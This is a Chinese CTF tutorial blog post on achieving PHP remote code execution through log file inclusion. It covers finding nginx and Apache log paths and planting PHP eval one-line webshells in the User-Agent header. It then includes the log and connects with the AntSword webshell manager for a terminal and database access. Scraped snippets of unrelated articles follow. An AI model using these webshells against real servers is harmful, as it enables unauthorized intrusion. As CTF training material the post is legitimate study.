CTF php RCE(三)

0x07 日志文件包含

判断类型

使用kali

curl -I url

在这里插入图片描述

F12

打开F12开发者工具,选中之后F5刷新查看server类型即可
在这里插入图片描述

配置文件

直接包含或者访问如果有回显就是,

NGINX:NGINX 的配置文件通常位于 /etc/nginx/ 目录下,具体的网站配置文件通常位于 /etc/nginx/sites-available/ 或 /etc/nginx/conf.d/ 目录中。

在配置文件中查找 server 块,通常可以看到 NGINX 特有的配置语法和指令。
Apache:Apache 的配置文件通常位于 /etc/apache2/ 目录下,具体的网站配置文件通常位于 /etc/apache2/sites-available/ 或 /etc/httpd/conf.d/ 目录中。

在配置文件中查找 <VirtualHost> 或者其他 Apache 特有的指令和语法,如 ServerName 等。

在这里插入图片描述
在这里插入图片描述
直接包含着试试看

nginx

默认日志文件路径为/var/log/nginx/

access.log: 记录所有访问服务器的请求,包括请求的时间、客户端IP、请求方法、请求的URL路径、HTTP协议版本、服务器响应状态码等信息。

error.log: 记录NGINX服务器发生的错误信息,如配置错误、客户端请求错误、服务器运行问题等。

apache

/var/log/apache2/ 或 /var/log/httpd/
access.log: 记录所有访问服务器的请求。
error.log: 记录 Apache 服务器发生的错误信息。

修改UA头

headers里面有一个是User-Agent

在HTTP请求中,User-Agent的作用包括但不限于以下几点:

标识客户端类型和版本:服务器可以根据User-Agent头部识别出请求的客户端是哪种类型的应用程序(比如浏览器、爬虫程序等)以及其版本号。

适配内容:网站服务器可以根据不同的User-Agent头部,向不同的客户端提供适配的内容。这样可以实现根据设备类型或浏览器能力提供定制化的页面。

统计和分析:网站可以根据User-Agent头部分析访问者的设备和浏览器偏好,用于统计和分析访问数据。

安全性:有时候User-Agent头部也用于安全验证或识别恶意请求,虽然User-Agent可以被伪造或修改,但它仍然是HTTP请求中的一部分,可以作为辅助信息进行安全分析。

然后我们在其中添加小🐎

<?php eval($_POST[1]);?>

<?php eval($_POST["1"]);?>

<?php eval($_POST['1']);?>

<?php @eval($_POST[1]);?>

<?php @eval(\$_POST[1]);?>

<?=eval($_POST[1]);?>

<?=eval($_POST[/**/1]);?>
还有很多其他的马,嗯就不多说了,后面会写篇专题我研究研究
\作用是转义,@是防报错,论环境来定小🐎

进行命令执行即可

如果是$_POST
进行POST传参就行
如果是$_GET
进行GET传参就行

但是有种情况就是文件路径太难找了,甚至你找不到,那么就需要工具了,比如antsword

antsword

安装不说了,简单说说如何使用

在这里插入图片描述
右键,添加数据,然后
在这里插入图片描述
输入包含🐎的url以及你的链接密码
测试链接成功即可进入
在这里插入图片描述
当然也可以进入虚拟终端

在这里插入图片描述
还可以数据管理(猜弱口令)
先检测然后链接
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/792001.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【深度学习入门篇 ④ 】Pytorch实现手写数字识别

【&#x1f34a;易编橙&#xff1a;一个帮助编程小伙伴少走弯路的终身成长社群&#x1f34a;】 大家好&#xff0c;我是小森( &#xfe61;ˆoˆ&#xfe61; ) &#xff01; 易编橙终身成长社群创始团队嘉宾&#xff0c;橙似锦计划领衔成员、阿里云专家博主、腾讯云内容共创官…

LLMs可以进行任务规划吗?如果不行,LLMs+GNN可以吗?

深度图学习与大模型LLM(小编): 大家好,今天向大家介绍一篇最新发布的研究论文&#xff08;20240530&#xff09;。这篇论文探讨了如何通过引入GNN来提高大模型在任务规划(task planning)中的性能。*论文分析了LLMs在任务规划上的局限性,并提出了一种简单而有效的解决方案。* 1.…

VIM模式之间的切换

命令行界面下&#xff0c;常用的文本编辑器是 VI / VIM(VI增强版)&#xff0c;VI 是 Linux 最通用的文本编辑器&#xff0c;VIM相较于VI&#xff0c;提供了代码高亮等功能&#xff0c;两者用法完全兼容&#xff1b; 1. 进入 VIM 工作界面 vim 文件名 2. 进入编辑模式 三种方…

深入分析与解决4.3问题:iOS应用版本更新审核被拒原因解析

深入分析与解决4.3问题&#xff1a;iOS应用版本更新审核被拒原因解析 在iOS应用开发和发布过程中&#xff0c;遇到4.3问题&#xff08;设计 - 垃圾邮件&#xff09;是一个常见且令人头疼的情况。即使您的应用已成功发布其第一个版本&#xff0c;但在进行版本更新时&#xff0c…

【React Hooks原理 - useState】

概述 useState赋予了Function Component状态管理的能力&#xff0c;可以让你在不编写 class 的情况下使用 state 。其本质上就是一类特殊的函数&#xff0c;它们约定以 use 开头。本文从源码出发&#xff0c;一步一步看看useState是如何实现以及工作的。 基础使用 function …

数据结构day6链式队列

主程序 #include "fun.h" int main(int argc, const char *argv[]) { que_p Qcreate(); enqueue(Q,10); enqueue(Q,20); enqueue(Q,30); enqueue(Q,40); enqueue(Q,50); show_que(Q); dequeue(Q); show_que(Q); printf(&qu…

小程序复制功能不可用 setClipboardData:fail no permission

先上图 用户协议剪切板也更新但是依旧报错了 最后在公众平台通知里发现是用户之前小程序有规格被封禁了该功能

【常见开源库的二次开发】基于openssl的加密与解密——openssl认识与配置(一)

目录&#xff1a; 目录&#xff1a; 一、什么是openssl&#xff1f; 二、所需要具备的开发工具 三、Windows上编译OpenSSL3.0 四、Linux编译openssl3.0 一、什么是openssl&#xff1f; OpenSSL 是一个开源的软件库&#xff0c;它提供了一系列加密工具和协议&#xff0c;主要用…

apple watch程序出错 Cannot launch apps while in nightstand mode

开发的时候运行apple watch程序出错&#xff1a; ailure Reason: The request was denied by service delegate (IOSSHLMainWorkspace) for reason: Busy ("Cannot launch apps while in nightstand mode"). 这是因为&#xff1a; 将Apple Watch放在充电器上并直立…

Python 处理文件的读写操作

Python 提供了丰富的文件读写操作&#xff0c;可以轻松处理文本文件和二进制文件。以下是关于 Python 文件读写操作的详细讲解&#xff0c;包括打开文件、读取文件、写入文件、文件指针操作、文件关闭和异常处理等方面。 一、文件的打开和关闭 在对文件进行读写操作之前&…

喜讯|华院计算法律大模型入围《2024大模型典型示范应用案例集》

2024年世界人工智能大会&#xff08;WAIC&#xff09;举办期间&#xff0c;中国信通院正式发布了《2024大模型典型示范应用案例集》&#xff08;以下简称《案例集》&#xff09;。该案例集由中国信通院华东分院、上海人工智能实验室主导&#xff0c;以产业化为导向&#xff0c;…

探索IP形象设计:快速掌握设计要点

随着市场竞争的加剧&#xff0c;越来越多的企业开始关注品牌形象的塑造和推广。在品牌形象中&#xff0c;知识产权形象设计是非常重要的方面。在智能和互联网的趋势下&#xff0c;未来的知识产权形象设计可能会更加关注数字和社交网络。通过数字技术和社交媒体平台&#xff0c;…

Java 中的泛型(超全详解)

一、泛型概述 1. 什么是泛型&#xff1f;为什么要使用泛型&#xff1f; 泛型&#xff0c;即“参数化类型”。一提到参数&#xff0c;最熟悉的就是定义方法时有形参列表&#xff0c;普通方法的形参列表中&#xff0c;每个形参的数据类型是确定的&#xff0c;而变量是一个参数。在…

VS2022 git拉取/推送代码错误

第一步&#xff1a;打开VS2022 第二步&#xff1a;工具->选项->源代码管理->Git 全局设置 第三步&#xff1a;加密网络提供程序设置为&#xff1a;OpenSSL 完结&#xff1a;

函数式接口、匿名内部类、lambda表达式

一、函数式接口 只有一个抽象方法的接口叫函数式接口&#xff0c;不能有两个&#xff0c;也不能有方法实现。 FunctionalInterface注解标记&#xff0c;在idea中可以用这个注解验证是不是函数式接口。实现函数式接口可以转成lambda表达式。 二、匿名内部类 匿名内部类的格式&a…

Java面试八股之Redis单线程为什么性能高

Redis单线程为什么性能高 1.内存数据库特性 要点&#xff1a;Redis是一个内存数据库&#xff0c;其数据主要存储在内存中&#xff0c;而非磁盘。内存访问的速度远超磁盘&#xff0c;通常可达纳秒级别&#xff0c;这使得Redis在处理数据时几乎不受I/O瓶颈的影响。由于数据操作…

Python31 自然语言处理NLP之NLTK的使用

1.关于自然语言处理NLP 自然语言处理NLP是人工智能和计算机科学的一个子领域&#xff0c;专注于计算机与人类&#xff08;自然&#xff09;语言之间的互动。其目的是使计算机能够理解、解释和生成人类语言。NLP 涉及语言学、计算机科学和人工智能的多学科交叉&#xff0c;通过…

SAP与税控系统集成案例

一、项目背景 重庆润通控股有限公司成立于2007年&#xff0c;是一家集合汽柴油动力及终端、摩托车、储能电源、汽车零部件、金融服务等产业的多元化集团公司。 大量订单数据导致订单业务会很复杂&#xff0c;为提供订单完成质量&#xff0c;引入税控系统服务商进行订单开票…

实战精选 | 如何在一台 Linux AI PC 上高效运行 OpenVINO™

点击蓝字 关注我们 作者&#xff1a;Adrian Boguszewski&#xff0c;英特尔 AI 软件布道师 武卓博士&#xff0c;英特尔 AI 软件布道师 什么是 AI PC&#xff0c;为什么它有一个特殊的名字&#xff1f; AI PC 是时下 PC 领域的一个热门话题。与普通 PC 不同&#xff0c;AI PC 配…

linux 0.11 中的重要的全局变量

通过对全局变量的了解&#xff0c;也有助于了解整个代码的逻辑。就跟学习类一样&#xff0c;了解类有哪些成员变量&#xff0c;也有助于了解类的成员函数的功能。 &#xff08;1&#xff09;内存初始化相关 static u_char mem_map [ PAGING_PAGES ] { 0 , } .本数组对 1M 以外…